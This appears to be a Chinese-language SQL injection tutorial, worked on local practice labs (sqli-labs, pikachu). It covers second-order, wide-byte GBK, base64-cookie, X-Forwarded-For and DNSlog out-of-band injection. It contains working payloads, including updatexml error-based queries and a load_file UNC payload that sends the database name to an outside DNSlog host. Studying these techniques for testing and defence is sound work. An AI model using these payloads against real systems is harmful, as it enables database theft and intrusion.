二次注入
查看数据库的用户名密码
进入靶场演示二次注入 sqlib-24
首先使用admin/admin用户登录
登录成功会提示更改密码,退出登录重新创建一个用户
用户名admin‘# 密码123
成功注册 后台查看
然后使用 admin’# 用户登录进来 修改密码
返回数据库查看
登录admin‘# 修改密码 反而admin的密码改变了
注册新用户过程中的处理代码:
if (isset($_POST['submit'])) { # Validating the user input........ //$username= $_POST['username'] ; $username= mysql_escape_string($_POST['username']) ; $pass= mysql_escape_string($_POST['password']); $re_pass= mysql_escape_string($_POST['re_password']); echo "<font size='3' color='#FFFF00'>"; $sql = "select count(*) from users where username='$username'"; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_fetch_row($res); //print_r($row); if (!$row[0]== 0) { ?> <script>alert("The username Already exists, Please choose a different username ")</script>; <?php header('refresh:1, url=new_user.php'); } else { if ($pass==$re_pass) { # Building up the query....... $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")"; mysql_query($sql) or die('Error Creating your user account, : '.mysql_error()); echo "</br>"; echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>"; //echo "<h1>User Created Successfully</h1>";
可以看到传入的username、password、re_password仍均被mysql_escape_string进行了转义处理,但是在数据库中还是插入了admin'# 这是因为当数据写入到数据库的时候反斜杠会被移除,所以写入到数据库的内容就是原始数据,并不会在前面多了反斜杠。
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
这是因为上面的数据库更新语句,在用户名为 "admin'#" 时执行的实际是:
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入。
宽字节注入
什么叫宽字节注入
【MySQL是用的PHP语言,然后PHP有addslashes()等函数,这类函数会自动过滤 ' '' null 等这些敏感字符,将它们转义成' '' \null;然后宽字节字符集比如GBK它会自动把两个字节的字符识别为一个汉字,所以我们在单引号前面加一个%df,从而使单引号逃逸。】
宽字节的注入条件
数据库编码设置成GB系列
使用了转义函数,将GET、POST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义。
URL转码 空格 %20 ' %27 # %23 \ %5C
pakachu 测试
1%df' or 1 通过php转码 mysql转码 得到一个汉字' 从而达到过滤的效果
%df' =====>php(check_addsiashes) ======>%df%5C%27 ======>MySQL(GBK) ======> 運'
查看字段数
输入3 sql语句报错 输入2用户不存在 所以为两个字段数
查看使用的用户名 数据库
base64注入
在base64注入页面中,程序获取GET参数ID,利用base64_decode ()对参数ID进行base64解码
if(!isset($_POST['submit'])) { $cookee = $_COOKIE['uname']; $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo "<center>"; echo "<br><br><br><b>"; echo '<img src="../images/Less-21.jpg" />'; echo "<br><br><b>"; echo '<br><font color= "red" font size="4">'; echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT']; echo "</font><br>"; echo '<font color= "cyan" font size="4">'; echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo "</font><br>"; echo '<font color= "#FFFF00" font size = 4 >'; echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>"; echo '<font color= "orange" font size = 5 >'; echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp); $cookee = base64_decode($cookee); echo "<br></font>"; $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1"; $result=mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); } $row = mysql_fetch_array($result);
注入请求
cookie 那段后面的数据 进行加密了 base64
正常测试 admin' and 1=1 admin' and 1=2 union select 1,2 等等 只不过把这些明文加密 php通过uname变量去获取加密数据
GET /sqli/Less-21/index.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,en;q=0.8,zh;q=0.5,en-US;q=0.3 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/sqli/Less-21/ Cookie: uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLCh2ZXJzaW9uKCkpKSwwKSBvciAn DNT: 1 Connection: close Upgrade-Insecure-Requests: 1
获取数据库版本信息
payload: Cookie: uname=admin' or updatexml(1,concat(0x7e,(version())),0) or '
获取数据库名
payload: Cookie: uname=admin' or updatexml(1,concat(0x7e,(database())),0) or '
XFF注入
X-Forwarded-For简称XFF头,它代表了客户端的真实IP,通过修改他的值就可以伪造客户端IP。
HTTP请求头的头部参数X-Forwarded-for缺失,通过修改X-Forwarded-for的值可以伪造客户端IP,于是自己设置一个该参数,将X- Forwarded-For设置为127.0.0.1,然后访问该URL,页面返回正常,如图所示
当 X-Forwarded-For:127.0.0.1'
设置payload: X-Forwarded-For:127.0.0.1',updatexml(1,concat(0x7e,(select user()) ,0x7e),1)) # 获取库名:X-Forwarded-For:127.0.0.1',updatexml(1,concat(0x7e,(select database()) ,0x7e),1)) # 获取表名:X-Forwarded-For:127.0.0.1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='webcalendar' limit 0,1),0x7e),1))# 获取字段名:X-Forwarded-For:127.0.0.1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='webcalendar' and table_name='user' limit 0,1),0x7e),1))#
DNSlog注入
dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据
dns带外查询属于MySQL注入,在MySQL中有个系统属性
secure_file_priv特性,有三种状态
1. secure_file_priv为null 表示不允许导入导出 2. secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹 3. secure_file_priv没有设置时,则表示没有任何限制
可了解一下load_file和outfile
LOAD_FILE()函数
LOAD_FILE()函数读取一个文件并将其内容作为字符串返回
语法为:load_file(file_name),其中file_name是文件的完整路径
此函数使用需要满足的条件
文件必须位于服务器主机上 你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关 文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节
UNC路径
什么是UNC路径? UNC路径就是类似\\softer这样的形式的网络路径。它符合 \\servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。 目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename。 例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径 //iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt
DNSLOG 平台 http://ceye.io
自己注册 我就不教了
在mysql.ini 配置文件添加 securefilepriv =
保存然后重启mysql服务就可以看到了
payload: http://127.0.0.1/sqli/Less-2/?id=-1 and if((select load_file(concat('\\\\',(select database()),'.mvkn4u.ceye.io\\abc'))),1,0)--+
这样操作比较麻烦,github上有一款工具 基于python2编写 我就不示范了 ( 懒得装2.7的环境)
https://github.com/ADOOO/DnslogSqlinj
ok 至此 SQL注入的n多方式差不多就结束了,明天是SQL注入绕过waf的讲解。